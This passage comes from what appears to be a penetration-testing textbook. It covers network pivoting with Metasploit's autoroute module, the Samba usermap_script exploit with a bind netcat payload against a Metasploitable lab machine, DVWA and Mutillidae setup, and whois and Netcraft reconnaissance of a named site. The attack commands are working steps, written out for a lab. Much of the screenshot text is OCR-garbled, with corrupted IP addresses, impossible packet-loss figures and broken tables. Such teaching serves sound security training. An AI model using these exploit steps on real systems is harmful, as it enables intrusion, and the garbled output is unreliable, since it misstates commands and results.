Now, we will modify the settings of the Windows device to connect it to the two networks.
The Windows device, as we can see in the preceding screenshot, is the common device, and
it will be connected to the NAT network that the Kali is connected to, and also the one that
the Metasploitable device is connected to. In the Windows machine settings, go to Network
| Adapter 2 | Enable Network Adapter, and connect it to a NAT Network. Then,

select NatNetwork1, as follows:

{23 MSEdge - Winll - Settings [7 ] ==
@ General Network
System Adapher 1 Adapter 2 | Adapker 3 | Adapter 4
Display Enable Metwork Adapter
Atkached to: |MNAT Mebwark =
Shtag ached ko [ ebwar] ]
Marne: [NatNetwnrkl -

Audi
IP: ki [» advanced
|§| Metnark
‘@ Serial Ports
ﬁ LS
|j Shared Folders
E User Interface

[ (] 4 ][ Cancel ]

The Windows device now uses two adapters; one of them is connected to NatNetwork, and
the other one is connected to NatNetwork1.
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On the Metasploitable device, go to Settings | Network, and, instead of connecting it
to NatNetwork, connect it to NatNetwork1:

G} hetasploitable - Settings @

General | Network
Systermn Adapker 1 | Adapter 2 I Adapter 3 I Adapter 4
Display Enable Mebwork Adapter

Attached to: | MAT Metwork =
Storage

Mame: [NatNetworkl .2

Audio

B advanced

Metwork

Serial Ports

sB

Shared Folders

Bh%®SYE.EEN

User Interface

[ Ok ]’ Cancel ]

Now, the Metasploitable device is only connected to the network that the Windows device
is connected to, and the Kali machine is only connected to the network that the Windows
device is connected to; the Windows device is connected to both networks.
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Now, to verify that we have the settings, we will start our Metasploitable device and the
Windows device, and will use some ping commands to make sure that everything is set up
correctly. The main thing is that the Windows machine should be able to ping both the
Metasploitable and Kali devices. In the following screenshot, we can see that we have
obtained the IP of the Metasploitable device - 10.0.3.5:

nsfadmin@netasploitable:~$ ifconfig
ethd Link encap:Ethernet HWaddr 08:00:27:5f:44:0c
inet addr:10.0.3.5 Bcast:10.0.3.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :fe5f :440c,64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
KX packets:38 errors:0 dropped:® overruns:0 frame:0
TX packets:69 errors:0 dropped:0 overruns:Q carrier:0
collisions:0 txqueuelen:1000
RX bytes:5571 (5.4 KB) TX bytes:7198 (7.0 KB)
Base address:0xd010 Memory:f0000000-f00Z0000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inet6 addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:95 errors:0 dropped:® overruns:0 frame:0
TX packets:95 errors:0 dropped:0 overruns:Q carrier:0
collisions:0 txqueuelen:®

RX bytes:19669 (19.2 KB) TX bytes:19665 (19.2 KB)

Runping 10.0.3.5, and we will see that the Windows machine can see the
Metasploitable machine, as shown in the following screenshot:

from
from 1€
; from 1€

from 1€

Minimum Bms , imum
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Now, let's check whether it can see the Kali machine, whichis on 10.0.2.15; again, if
Windows can see both machines, it means that it is the machine in the middle:

from :
from :

; from 1€

ved 4, Los
: in milli-se
Minimum = Max Bms ,

Also, we will check whether the Metasploitable machine can see the Kali machine. It
shouldn't be able to see it, because the Kali machine and the Metasploitable machine are
connected to two different networks. When we run ping 10.0.2.15 on the
Metasploitable machine, we can see that we get nothing—18 packets are transmitted and 0
are received:

sfadminPmetasploitable:™5 ping 10.0.2.15
ING 10.0.2.15 (10.0.2.15) 56(84) bytes of data.

—— 10.0.2.15 ping statistics ——
18 packets transmitted, 0 received, 1002 packet loss, time 1701Zms

So, the Metasploitable device cannot see the Kali machine, and the Kali machine cannot see
the Metasploitable device, either. Run ping 10.0.3.5 on Kali, and we will see that it
sends 3 packets and 0 are received; these two devices cannot see each other, because they're
on two different networks, as the following screenshot indicates:

:~# ping 10.8.3.5
PING 10.0.3.5 (10.0.3.5) 56(84) bytes of data.
~C
-- 10.0.3.5 ping statistics ---

3 packets transmitted, © received, 10 packet loss, time 2046ms

In the next section, we will use our access to the Windows machine to hack into
the Metasploitable device, because the Windows machine is the common device, connected
to both networks.

[403]



Post Exploitation Chapter 16

Pivoting autoroutes

Now that we understand the concept of pivoting, it won't be difficult to perform. All we
need to do is upload any tool that we want to use; for example, if we want to use Nmap or
ARP spoof or dSniff, we can upload those tools and run them on the Windows computer,
which is connected to the big network, and then run a port scanner, perform ARP
poisoning, or do man-in-the-middle attacks, just like we learned previously. It's very
simple; all we have to do is use the upload command and use the tool from the command

line.

In this section, we will see how to set up a route between the hacked computer and our
computer, so that we can use any Metasploit auxiliary or module against the big network.
We'll be able to use Metasploit exploits, port scanners, and other useful modules.

To do this, we're going to use a module called autoroute. Let's look at how to run an
exploit on the Metasploitable virtual machine; it's should not work, because it's not visible
to us for now. So, we will use sessions 1list, and will see that we have a connection
through the Windows machine, which we already hacked:

:19747 (10.0.2.5)

Next, we will run use exploit/multi/samba/usermap_script—we already used this
exploit against the Metasploitable device before, but it was on the same network then, so it
was visible to us. This time, we're trying to attack a device that is invisible. Then, we will
run show options, as follows:
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exploit( = se exploit/multi/samba/usermap_script
exploit( ) = show options

Module options (expleit/multi/samba/usermap script):

Name Current Setting Required Description

RHOST The ta t address

RPORT yes The target port (TCP)

Exploit target:

Id MName

[¢] Automatic

We will set RHOST to 10.0. 3. 5, because that's the IP address of the Metasploitable device.
Then, when we use set PAYLOAD cmd/unix/bind_netcat and show options,
everything will be set up properly; so, we will run exploit, and we will see that the
exploit will time out, because (as we saw in the diagram in the An introduction to

pivoting section) the hacker device cannot see the Metasploitable device. So, it's trying to
run an exploit on the Metasploitable device, even though the Metasploitable device has a
vulnerability, but we won't be able to use it because we can't see the Metasploitable device,
and, as we will see, the exploit failed, we received the ConnectionTimeout, and we just
couldn't connect to the target computer, as shown in the following screenshot:

msf exploit( ) = exploit

L#] Started bind handler

5:139 - Exploit failed [unreachable]l: Rex::ConnectionTimeout The connection timed out (1€.0.3.15:139)
[*] Exploit completed, but no session was created.
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Now, we will interact with Meterpreter on ID 1 and run sessions -i 1. So, in our
Meterpreter, we will run i fconfig to see those networks that the target computer is

connected to:

- = ifconfig

IPv4 Netmas
IPv6 Addr
IPvE Netme

Interface

Name
Hardware MAC
MTU

IPv4

IPv4 N

IPv6 Addr

IPv6 Netmask

IPv6

Software Loopback Interface 1
:00:00:00:00:00

27.0.0.1

255.0.0.0

01

ffff:ffff. ffff:ffff:ffff: ffff:FFFf. 7T

Intel(R}) PRO/1000 MT Desktop Adapter
08:00:27:04:18:04

1500

10.0.2.

255.255.255.0
fe80::T590:a0cd:d841:d69b
frff:ffff:ffff:ffff::

Intel(R) PRO/100O MT Desktop Adapter #2
08:00:27:7f:6d:

1500

10.0.3.4

255.255.255.0

fe80::39cd:c7fe:86TT:47ab
fiff:ffff:ffff:ffff::

We can see all of the interfaces connected to the target computer, and we will look for
interfaces with IP addresses. We can see that interface number 9 has an IP address, and we
can see that the IP address is on our network; so it's really not very useful. It's already on
our network; we're on the 10.0.2.5/24 subnet. Another interface that we can see is
Interface 21, which is connected to 10.0. 3. 4; it's on a different subnet, which we
cannot see from our Kali Linux device.
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We will now try to set up a route between a different subnet and the current subnet. We
will copy the address 10.0.3. 4 and create a background of the current session, coming
back to Metasploit. Then, we will run use post/multi/manage/autoroute. Now, if we
want to see all of the managed modules at any point, after the use post/multi/manage/
command, press Tab twice, and we will see all of the post /multi/manage modules and
can try a new experiment with them:

The one that we want to use now is autoroute. We need to set the SESSTON and

the SUBNET; set the SESSION first, by running set SESSION 1, and then set the SUBNET to
what we've seen when we ran the i fconfig command. It was 10.0. 3. 4. Again, we're
using the very simple commands that we have already learned.

We will set this SESSION to number 1 (that's the SESSTON that we hacked for the Windows
machine), and the SUBNET is the SUBNET that the Windows machine is connected to, so

it's 10.0.3.0. We will then run exploit, and this will create the connection (or the route)
between our device and the Windows device:

mst post( ) > 58 options

Module options (post/multi/manage/autoroute):

uloadd, print, delele, defaull)

4

SUBNECT 10.0.3.0

xploit

e with this module.
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Now, we will go back to the same exploit that we tried at the start of this section, and we
will see that the exploit is going to work now, because the Windows device is now visible
to us. Instead of using the exploit/multi/samba/usermap_script exploit, we can use
the port scanners or discovery modules that come pre-installed with Metasploit, or any
other module that comes with Metasploit. We now have a connection to the Windows
computer, and we have set up a route between that network and our computer, so we can
now see the Metasploitable device.

Now, we are going to use the same exploit that we used

before: exploit/multi/samba/usermap_script. We will leave the options the same,
because everything is set up correctly. We will just run exploit, and, as we can see in the
following screenshot, the command shell will start properly, and we will have access to the
Metasploitable device:

We can run id and uname -a to confirm the preceding, and we can see that we're in the
Metasploitable device and can run any Linux command that we want; we can use 1s,
pwd, or any other Linux command, as follows:
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ver #1 SMP Thu Apr 10 13: 0 GNU/L inux

Basically, we have full access to the target computer. As we mentioned previously, we can
upload a program and run it from the target computer. However, it's not always a good
idea to upload things to a hacked computer—setting up routes and using pivoting are
much safer choices.

It is highly recommended to take a look at other Metasploitable modules,
because Metasploit is very vast. It was difficult for me to cover everything;
I just covered the main points, but you can always go in and take a look at
other modules. Using the modules in practice is usually the same as what
we did here; we took a look at a broad array of modules, so you should be
able to configure options and run modules however you like.
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Summary

In this chapter, we focused on post exploitation tasks, which involved what can be done
after we have broken into a target system. We covered basic filesystem commands and
illustrated how to access a victim's machine, even if the user is not using a particular
software or has powered off the system. We implemented both simple and advanced
methods to maintain access to a system. Then, we looked at how to obtain user credentials
after performing a keylogging attack on a target device. Later, we went over the concept of
pivoting, which means targeting a system that is not directly present on our network. We
even studied examples of pivoting autoroutes.

In the next few chapters, we will cover the fundamentals of website penetration testing.
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Website Penetration Testing

This chapter focuses on the basics that we need to know before we start with web
application penetration testing. We will start by learning what a website actually is, as well
as giving an overview of the processing that happens on the backend when we request
access to a website. Later, we will discuss ways to attack a website, and look at a few tools.

The following topics will be covered in this chapter:

e What is a website?

¢ Attacking a website

What is a website?

Before we can start website penetration testing, we need to understand what a website
really is. A website is just an application that is installed on a computer. The computer
might have better specifications than our computer, but fundamentally, it works just like
any other computer, which means that it has an operating system, as well as a number of
applications that allow it to act as a web server. The two main applications that it has are a
web server (for example, Apache), and a database (for example, MySQL):

¢ The web server basically understands and executes the web application. Our
web application can be written in PHP, Python, or any other programming
language. The only restriction is that the web server needs to be able to
understand and execute the web application.

e The database contains the data that is used by the web application. All of this is

stored on a computer called the server. The server is connected to the internet
and has an IP address; anybody can access or ping it.
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The web application is executed either by the web server—which is installed on our
server—or on the target; therefore, any time we request a page or run a web application, it's
actually executed on the web server and not on the client's computer. Once it is executed on
the web server, the web server sends an HTML page—which is ready to read—to the target
person or client, as shown in the following figure:

DNS SERVER

I I I 195.44.2.1 l I I FACEBOOK.COM
‘- +

195.44.2.1

HTML
WEBSITE

Let's say, for example, that we are using a phone or a computer and we want to access
facebook.com. If we type facebook.com into our URL, it will be translated to an IP address
using a DNS server. A DNS is a server that translates every name, . com, .edu, or any
website with a name or a domain name to its relevant IP address. If we request
facebook.com, the request goes to a DNS server that then translates facebook.com to the IP
where Facebook is stored, and then the DNS server will go to the IP address of Facebook,
execute the page that we wanted using all of the applications that we have spoken about,
and then just give us a ready HTML page.

Now, what we get back is just a markup written in HTML—which is a markup
language—of the result of executing the program; the program gets executed on the server,
and we just get the result. This is very important, because in the future, if we wanted to get
anything executed on the web server, such as a shell, or a virus to be executed on the target
computer, then we need to send it in a language that the web server understands (for
example, PHP), and once we execute it inside the server, it will be executed on the target
computer.
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This means that, regardless of the person that accesses the page, the web shell that we are
going to send (if it is written in PHP or in a language that the server understands) will be
executed on the server and not on our computer. Therefore, it will give us access to the
server and not to the person who accessed that server. On the other hand, some websites
use JavaScript, which is a client-side language. If we manage to find a website that allows
you to run JavaScript code, then the code will be executed by the clients. Even though the
code might be injected into the web server, it will be executed on the client side, and it will
allow us to perform attacks on the client computer and not on the server. Hence, it's very
important to distinguish between a client-side language and a server-side language.

Attacking a website

In this section, we will discuss attacking a website. We have two approaches for attacking
websites:

¢ We can use the methods that we've learned so far about attacking a website.
Because we know a website is installed on a computer, we can try to attack and
hack it just like any another computer. We can also try to use server-side attacks
to see which web server, operating system, or other applications are installed,
and, if we find any vulnerabilities, to see if we can use any of them to gain access
to the computer.

¢ Another way to attack is to use client-side attacks. Because websites are managed
by humans, there must be humans managing and maintaining these websites.
This means that, if we manage to hack any of the site's administrators, we will
probably be able to get their username and password, and from there log in to
their admin panel or to the Secure Socket Shell (SSH). Then we will be able to
access any of the services that they use to manage the website.

If both of these methods fail, we can try to test the web application, because it is just an
application installed on that website. Therefore, our target might not actually be the web
application—maybe our target is just a person using that website, but whose computer is
inaccessible. Instead, we can go to the website, hack into the website, and from there go to
our target person.
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All of these applications and devices are interconnected, and we can use one of them to our
advantage and then make our way to another place or to another computer. In this section,
we won't be focusing on server and client-side attacks any further. Instead, we'll be learning
about testing the security of the web application itself.

Our target will be a Metasploitable machine, and if we run the i fconfig command on
Metasploitable, we will see that its IPis 10.0.2. 4, as shown in the following screenshot:

mefadmin@metasploitable: ™5 ifconfig

etho

Link encap:Ethernet HUWaddr 08:00:27:5f:44:0c

inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0
inetb addr: fe80::a00:27ff :fe5f:440c-64 Scope:Link

UP BROADCAST RUNNING MULTICAST HMTU:1500 Hetric:1

RX packets:815 errors:0 dropped:0 overruns:0 frame:0

TX packets:350 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:1000

RX bytes:91391 (89.2 KB) TX bytes:42668 (41.6 KB)

Base address:0xd010 Hemory:f0000000-f00Z0000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

R¥ packet=:988 errors:0 dropped:0 overruns:0 frame:0
TX packets:988 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:455381 (444.7 KB) TX bytes:455381 (444.7 KB)

If we look inside the /var/www folder, we'll see all the website files stored, as shown in the
following screenshot:

nsfadmin@metasploitable:™5 ls ~var/wuww/

index.php phpinfo.php test tikiwiki-old

mutillidae phpMyAdmin tikiwiki twiki
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In the preceding screenshot, we can see that we have our phpinfo.php page, and we have
mutillidae, dvwa, and phpMyAdmin. If we go to the Kali machine, or to any machine on
the same network, and try to open the browser and go to 10.0.2. 4, we will see that we
have a website made for Metasploitable, as shown in the following screenshot. A website is
just an application installed on the web browser, and we can access any of the
Metasploitable websites and use them to test their security:

| Metasploitable2 - Linux x \ +

€ ©]10.024

f5 Most Visitedv [l Offensive Security “& Kali Linux " Kali Docs ', Kali Tools

Warning: Never expose this WM to an untrusted network!
Contact: msfdev[atlmetasploit.com

Login with msfadmin/msfadmin to get started
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Another thing to look at is the DVWA page. It requires a username and a password to log
in; the Username is admin and the Password is password. Once we enter these credentials,

we can log in to it, as shown in the following screenshot:

4, Search B + & @ =

€ @& | 10,0.2.8/chvwaloginphp
[ Most Visited~ [l Offensive Security S Kali Linux S Kali Docs " Kali Tools = Exploit-DB W Aircrack-ng s Kali Forums S, NetHunter S Kali Training @ Getting Started

N\
DA

aaaaaaaa

Login

Once logged in, we can modify the security settings by using the DVWA Security tab:
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Home |  DVWA Security »
Instructions |
Setup | Script Security

Security Level is currently high.
Brute Force |

You can set the security level to low, medium or high.
Command Execution |
| The sccurity level changes the vulnerability level of DVWAL

CSRF
high e Submit
SQL Injection |
SQL Injection (Blind) | PHPIDS
Upload
| v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
XSS reflected |
You can enable PHPIDS across this site for the duration of your session.
XSS stored |
PHPIDS is currently disabled. [ ]
! [ 1-[ 1
PHP Info |
About |
Logout |

Username: admin
Security Level: high
PHPIDS: disabled

Under the DVWA Security tab, we will set Script Security to low and click on Submit:

DVWA Security

Script Security
Security Level is currently high.
You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low = Submit
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We will keep it set to low in the upcoming sections. Because this is just an introductory
course, we'll only be talking about the basic ways of discovering web application
vulnerabilities in both DVWA and the Mutillidae web application.

If we go to the Mutillidae web application in the same way that we accessed the DVWA
web application, we should make sure that our Security Level is set to 0, as shown in the
following screenshot:

% Mutillidae: Born to be Hacked

Hints: Disabled (0 - | try harder) Not Logged In

Version: 2.1.19

‘Toggle Hints Reset DB Yiew Log View Captured Data

Home Login/Register loggle Security

Core Conlrols

Mutillidae: Deliberately Vulnerable PHP Scripts Of

OWASP Top 10
Latest Version / Installation

= 3
- Latest version

« Installation Instructions

« Usage Instructions

+ Getrid of those pesky PHP errors
+ Change Log

P N + Notes

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,

Samurai WTF and Backtrack contains all the tools needed or you may build your own collection

Firefox, Burp-Suite, :JQ
Netcat, and these
Mozilla Add-ons backltrack

@we :p?nlzed -.@p;; . @

— Tk
| i MySQLs
&

Mutillidae
Channel

We can toggle Security Level by clicking the Toggle Security option on the page:

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In
Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data
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Summary

In this chapter, we learned about the concepts and methods that are necessary to perform
website penetration testing. We began by learning about what a website is, and we gave a
brief overview of how backend processing takes place when we request a particular
website on our devices. Then we discussed the techniques that are used to attack a website,
as well as tools such as Metasploitable and DVWA.

In the next chapter, we will be focusing on information gathering and analysis, and also
how to use this information to exploit the target system.
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Website Pentesting -
Information Gathering

In this chapter, we are going to focus on various techniques to gather information about the
client using the whois command, Netcraft, and Robtex. Then, we will see how we can
attack a server by targeting websites that are hosted on that server. Moving toward the
information gathering section, we are going to learn about subdomains and how they they
can be useful for performing attacks. Later, we are going to look for files on the target
system to gather some information and also analyze that data.

The following topics are covered in this chapter:

e Information gathering
e Website on the same server
e Information gathering form target websites

Information gathering using tools

Now, as we saw in the previous chapter how gathering information about the client will
help us to launch attacks on victims, in this section, we are going to be using commands
such as Whois, and tools such as Netcraft and Robtex to gather information from target
systems.
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The Whois Lookup

The first thing we do before we start trying to exploit or find any vulnerabilities is
information gathering. Therefore, we try to gather as much information as possible about
the target, and web applications are no different. We're going to start by trying to get as
much information as we can about the target IP address, the domain name info, the
technology that is used on the website, which programming language is used, what kind of
server is installed on it, and what kind of database is being used. We're going to gather
information about the company and its DNS records, and we'll also see if we can find any
files that are not listed, or any subdomains that are not visible to other people. Now, we can
use any of the information gathering tools that we used before; for example, we can use
Maltego and just insert an entity as a website, and then start running actions. It's exactly the
same as we did with a normal person, in chapter 11, Client Side Attacks - Social Engineering.
We can also use Nmap, or even Nexpose, and test the infrastructure of the website and see
what information we can gather from that. Again, we won't be going over that because
we've seen it in previous chapters. There is no difference between a website or a normal
computer—as we know, a website is just another computer. So, what we are going to be
focusing on are technologies that we will only see on websites, such as domain names, DNS
records, and stuff like that, that we either won't be able to use or haven't seen before in the
previous chapters.

Now, the first thing that we're going to have a look at is Whois Lookup. Whois Lookup is a
protocol that's used to find the owners of internet resources, for example, a server, an IP
address, or a domain. So, we're not actually hacking; we're literally just retrieving info from
a database that contains information about owners of stuff on the internet. So, for example,
when we sign up for a domain name, if we wanted to register a domain name, for example,
zald.com, when we do that, we have to supply information about the person who is
signing in, the address, and then the domain name will be stored in our name and people
will see that Zaid owns the domain name. That is all we're going to do.

If we google Whois Lookup, we will see a lot of websites providing the service, so we will
use http://whois.domaintools.com/, enter our target domain name, isecurity.org,
and press Search:

Whois Lookup
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As we can see in the following screenshot, we get a lot of information about our target

website:

= Domain Profile

Registrar

Registrar Status

Dates

Name Servers

Tech Contact
IP Address
IP Location

ASN

Domain Status

IP History

Hosting History

Registrant Country US

Go China Domains, LLC

IANA ID: 1149

URL: http:#fwww.gochinadomains.com

Whois Server: whois.godaddy.com
abuse@godaddy.com

(p) 14806242505

clientDeleteProhibited, clientRenewProhibited, clientTransferProhibited,

clientUpdateProhibited

2,826 days old

Created on 2010-10-20
Expires on 2018-10-20

Updated on 2017-09-16

N569 DOMAINCONTROL.COM (has 50,039,241 domains)
N570.DOMAINCONTROL.COM (has 50,039,241 domains)

50.63.202.32 - 411,498 other sites hosted on this server

] - Arizona - Scottsdale - Godaddy.com Llc

B AS26496 AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, U5 (registered Oct 01,

2002)
Registered And Active Website
47 changes on 42 unique |P addresses over 12 years

18 changes on 11 unigue name servers over 11 years

We can see the email address that we can use to contact the domain name info. Usually, we
will be able to see the address of the company that has registered the domain name, but we
can see that this company is using privacy on their domain; but if they haven't, that is, if
they're not using privacy, we will be able to see their address and more information about
the actual company.

We can see when the domain name was created, and we can see the IP Address of
isecurlty.org. If we ping the IP, we should get the same IP address as mentioned in the
preceding screenshot.
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If we run ping www.isecurlty.org, the same IP address is returned:

C:\Users>ping www.isecurity.org

Pinging isecurity.org [50.63.202.32]1 with 32 bytes of data:

Reply from 58.63.202.32: bytes=32 time=264ms TTL=53
Reply from 50.63.202.32: bytes=32 time=260ms TTL=53

We can see the IP Location, we can see the Domain Status, and we can also access the
History, but we need to register for that. Now, again, we can use this information to find
exploits.

In the following screenshot, in the Whois Record, we can find more information about the
company that registered this domain:

Whois Record ( last updated on 20180716 )

Domain Name: ISECURITY.ORG

Registry Domain ID: D16@456846-LROR

Registrar WHOIS Server: whois.godaddy.com

Registrar URL: http://www.gochinadomains.com

Updated Date: 2017-89-16T16:43:@8Z

Creation Date: 2010-18-208T14:38:127

Registry Expiry Date: 20818-16-28T14:38:127

Registrar Registration Expiration Date:

Registrar: Go China Domains, LLC

Registrar IANA ID: 1149

Registrar Abuse Contact Email: abuse@godaddy.com

Registrar Abuse Contact Phone: +1.4886242585

Reseller:

Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registrant Organization:

Registrant State/Province: New York

Registrant Country: US

Name Server: N569.DOMAINCONTROL.COM

Name Server: N537@.DOMAINCONTROL.COM

DNSS5EC: unsigned

URL of the ICANMN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/

>»» Last update of WHOIS database: 2018-@7-16T15:48:29Z <<<

For more information on Whois status codes, please wisit https://icann.org/epp

Access to Public Interest Registry WHOILS information is provided to assist persons in
determining the contents of a domain name registration record in the Public Interest Registr
y

registry database. The data in this record is provided by Public Interest Registry for

informational purposes only, and Public Interest Registry does not guarantee its accuracy.
This service is intended only for query-based access. You agree that you will use this data
only for lawful purposes and that, under no circumstances will you use this data to (a) alle
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This is basic information, but it's very helpful in the long run, just to know what our target
is, what their IP is, and what services they are using. We can also see the name servers that
are being used and we can see which company they are provided by.

Netcraft

In this section, we are going to learn how to get information about the technologies used by
the target website. We're going to use a website called Netcraft (https://www.netcraft.
com), and we're going to put the target address, select our target as isecurlty.org, and
click on the arrow:

What's that site running?

Find out what technologies are powering
any website:

isecurlty.org
After, click on Site Report:
Results for isecurity.org

Found 3 sites
Site Report First seen Netblock 0s

1. % apnl 2uUd unknown hinux - centos

2. % january 2017 digitalocean london linux - centos

3. isecurltyarg =] april 2005 unknawm unknawin
COPYRIGHT @ METCRAFT LTD 2018. ALL RIGHTS RESERVED.
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In the following screenshot, we can see some basic information, such as the Site title, a
Description, Keywords, and when the website was created:

Site title
Site rank

Description

Keywords

Netcraft Risk
Rating [FAQ]

= Background

iSecurlty | Ja¥ 2l oo peme Date first seen  April 2009
180268 Primary Arabic
language

\3314205\3304254\33042521331\2054330\271 \32304271\3304261\330\250331\212
\3311204\331\204\331\207\330\247\331\2031330\261
\3301247\3311204\330124313301256\331\2041330\247331\202\331\212
\331\21043304256'33042501330426113301247330241 \3304247\331\204'33042554331205'3304247\33121213304251
\331\212\3304261\231\203433142211330\262 \330\271'331\204\331\211 331\205}331\201\331207\331\210\331205
\3301247\330\256\3301252\3304250\330\247330\261
\330\247\3311204\330\247133042561320\2521330\261\3301247\331\202 \32112104330\254\330\257331\212330\257
\3301243433042564330425013304247330\261 \3301247331\204\3304255,33112054330%247\331\2123304251

Not Present

110 G

Scrolling down further, we can see the website itself, the Domain, the IP address, and just
as we saw in the previous section, the Domain registrar, which is the company who
registered the domain for isecurlty:

= Network

Site

Domain

IP address
IPv6 address

Domain
registrar

Organisation

Top Level
Domain

http://www.isecurlty.org MNetblock Owner Digital Ocean, Inc.
isecurity.org Nameserver ns1.digitalocean.com
46.101.29.109 DNS admin hostmaster@isecurlty.org
Not Present Reverse DNS unknown
pir.org Nameserver whois.networksolutions.com
organisation
Domain Protection Services, Inc., US Hosting DigitalOcean
company
Organization entities {.org) DNS Security unknown
Extenslons

Hosting country UK

In the preceding screenshot, we would normally see information about the organization,
but here, we can't, because isecurlty is using privacy protection. Usually, we should be
able to see such information and even more.
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In the preceding screenshot we can see that it's hosted in the UK, we can see the
Nameserver, which is ns1.digitalocean.com, and again, if we just go to
nsl.digitalocean.com, we will discover that this is a website for web hosting.

Now, we know this is a web hosting company, and in worst-case scenarios we can use this
or try to hack into ns1.digitalocean. comitself to gain access to isecurlty.

Scrolling down further, we will see the Hosting History of the hosting companies that
isecurlty used, and we can see that the latest one is running on Linux with Apache, the
same server that we saw in the previous section, 2.2.31 with Unix mod_ssl and all the other

add-ons:

= Hosting History

Netblock owner

Digital Ocean, Inc.

LeaseWeb Netherlands B.\.

unknown

LeaseWeb Netherlands B.V.

unkrowrn

LeaseWeb Netherlands B.V.

LeaseWeb Netherlands B.V.

unknown

Cloudflare, Inc. 101 Townsend Street San

Francisco CA US 94107

SoftLayer Technologies Inc. 1950 N Stemmons
Freeway Dallas TX US 75207

IP address

46.101.20. 100

5.70.07.48

91.217.73.140

95.211.160.142

91.217.73.140

95.211.108.1/4

95.211.108.166

95.211.48.169

108.162.194.116

74.53.226.138

os

Linux

Linux

Linux

Linux

Linux

Linux

Linux

Linux

unknown

Linux

Web server

Apache/2.2.15 Cent0S
Apache/2.2.21 Unix mod_ssl/2.2.31 OpenSSL/1.0.1e-

fips mod_bwlimited/1.4 mod_fcgid/2.3.9
Apache/2.2.31 Unix mod_sslf2.2.31 OpenS55SL/1.0.1e-

fips mod_bwlimited/1.4 mod_fcgid/2.3.9
Dimofinf Hosting

Dimofinl Husling

Apache

Apache

Dimofinf Hosting

cloudflare-nginx

Apache

Last
seen
Refresh
7-Jul-
2018
18-May-
2017
4-Now-
2015
24-Aug-
2015
28-Jul-
2015
13-May-
2015
18-Mar-
2015
25-May-
2014
15-Feb-
2013
25-Mar-
2012

Again, this is very important to find vulnerabilities and exploits on our target computer:
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Scrolling down to Web Trackers, it will show us the third-party resources or applications
used on our target, so we can see that our target uses Google, MaxCDN, and other Google
services. This could also help us to find or gain access to the target computer:

= Web Trackers
Web Trackers are third-party resources loaded onto a webpage. Trackable resources include social sharing widgets, javascript files, and images.
These trackers can be used to monitor individual user behaviour across the web. Data derived from these trackers are primarily used for advertising
or analytics purposes.
9 known trackers were identified.
Companies Categories
@® Google (4) @ CDN (4)
@ MaxCDN (2) ® Widget (4)
@ AddThis (1) @ Analytics (1)
Amazon (1)
@ ShareThis (1)
Company A Primary Category Tracker Popular Sites with this Tracker
AddThis & Widget Addthis www.zougla.gr, www.comss.ru, www.traffboost.net
Amazon & CDN amazons3 www.dailykos.com, www.barchart.com, www.adelaidenow.com.au
Guugle & Analylics Guuyle Analylics www. lumbl.com, www.aneleolvance.com, www.chip.de
CDN Googlecdn www.voirfilms.ws, video.foxnews.com, lastpass.com
Widget Googleplus www.dell.com, www.heise.de, www.cnn.com
Googlewidget www.businessinsider.com, www.owasp.org, www.foxnews.com
MaxCDN CDN Bootstrapcdn www.onlinevideoconverter.com, www.cybrary.it, www.zerohedge.com
Maxcdn www.linuxquestions.org, www.dhnet.be, www.lavanguardia.com
ShareThis & Widget ShareThis www.liveleak.com, www.mcafee.com, www.newser.com

The Technology tab is one of the most important tabs or sections in here, because it shows
us the technologies used on the target website:
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= Site Technology Fatchad an 1st July
Application Servers
An application server is 8 server that provides software applications with services such as security, deta services, transaction support, load balancing, and menagement of large distributed systems.

Technulogy Description Pupular siles using this technology
CentOS & No description

imagebam.com, vavw.s3blog.org,
thuarks.com

Apache & Web server software wivivi.tagesschau.de, wwiw.majorgeeks.com,
wivivi.businessinsider.com

o

Server-Side

Includes all the main technologies that Netcraft detects as running on the server such as PHR

Technology Description Popular sites using this technology

PHP & PHP iz supgerted and/er running vanvalequipafr, wenaleparisienfr, wvsirfilms.s
XML No description it, Wi xvideos.com, www.heise.de
ssL A eryptagraphis protecs] providing communication sazurity cver the Intarnat twittar.com, sallarcantral.amazen.com,

kayakoreporthostassurus.com
PHP Enabled & Server supports PHP wivivi.barchart.com, www.bom.gov.au, php.net
Client-Side
Includes all the main technologies that run on the browser (such as JavaScript and Adobe Flash).
Technology Description Popular sites using this technology
Asynchronous Javascript o description wWWvi.ESpR.Com, wwiw.yahoo.com, go.microsoft.com
JavaScript &7 Widely-supported programming language commonly used to power client-side dynamic content on
wiabsitas

Client-Side Scripting Frameworks

Frameworks or libraries allew for sasier development of applications by providing an Application Program Interface (API) or a methadalegy to follow whilst developing.

Technology Description Popular sites using this technology

jQuery A JavaScript library used to simplify the client-side scripting of HTML WiV, CISC0.COM, t-online.de, wwii.shoir

Coogle Hostad Librarias 7 Googls AD] t= retriave JavaSeript librarias e foxnaws.com, v googla.com, vanegoogle.it

Font Awesome Web Fonts F o description wivivivilderssecunty.com, wirwi.zerchedge.com,
WIVA.S3NS.0rg

Bootstrap Javascript Library Mo description it, vvwnetflisc.com, vawOlnet.

We can see in the preceding screenshot it's using the Apache web server, and on the Server-
Side, we can see that the website uses PHP, which means the website can understand and
run PHP code. This is very important because, in the future, if we manage to run any kind
of code on our target, then we know the code should be sent as PHP code. To create
